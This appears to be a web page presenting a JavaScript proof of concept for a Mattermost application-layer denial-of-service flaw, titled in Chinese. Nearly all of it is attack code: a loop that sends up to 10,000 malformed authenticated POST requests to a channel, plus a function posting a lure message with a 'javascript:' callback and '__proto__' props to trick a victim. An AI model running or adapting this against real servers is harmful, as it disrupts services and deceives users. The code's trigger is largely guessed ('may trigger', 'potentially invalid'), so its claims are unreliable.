CVE-2025-14435 Mattermost无限重新渲染导致应用层DoS漏洞

// CVE-2025-14435 PoC - Trigger Infinite Re-render via API Error Loop // This PoC demonstrates how an authenticated user can trigger unbounded re-render loops const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); async function triggerReRenderLoop(targetChannelId) { console.log('[+] Starting infinite re-render attack for CVE-2025-14435'); // Step 1: Authenticate with Mattermost const authToken = await authenticate('[email protected]', 'password123'); // Step 2: Target a specific channel to trigger the re-render vulnerability const targetUrl = `${MATTERMOST_API_BASE}/channels/${targetChannelId}/posts`; let requestCount = 0; const maxRequests = 10000; while (requestCount < maxRequests) { try { // Send malformed request to trigger API error const response = await fetch(targetUrl, { method: 'POST', headers: { 'Authorization': `Bearer ${authToken}`, 'Content-Type': 'application/json', 'X-Custom-Header': 'trigger_error' // Custom header to trigger error path }, body: JSON.stringify({ // Malformed data to trigger error handling message: '', // Empty message may trigger validation error file_ids: ['A'.repeat(1000)] // Potentially invalid file ID }) }); if (!response.ok) { // Error response may trigger infinite re-render loop in vulnerable versions console.log(`[+] Error triggered: ${response.status} at request ${requestCount}`); // The error response combined with component state update triggers re-render } requestCount++; await sleep(10); // Small delay between requests } catch (error) { console.log(`[+] Exception caught: ${error.message}`); // Network errors combined with retry logic may intensify re-render } } console.log('[+] Attack completed - target should experience DoS condition'); } // Alternative: Social Engineering approach - trick user into triggering the bug async function socialEngineeringPoC() { // Create a malicious message with embedded trigger const maliciousPayload = { message: 'Click here to view important update', props: { // Malformed props that trigger API error on interaction callback_url: 'javascript:void(0)', __proto__: { poll: { invalid: true } } } }; // Post to target channel await postMessage(CHANNEL_ID, maliciousPayload); console.log('[+] Malicious message posted - waiting for victim interaction'); } // Run the PoC triggerReRenderLoop(CHANNEL_ID);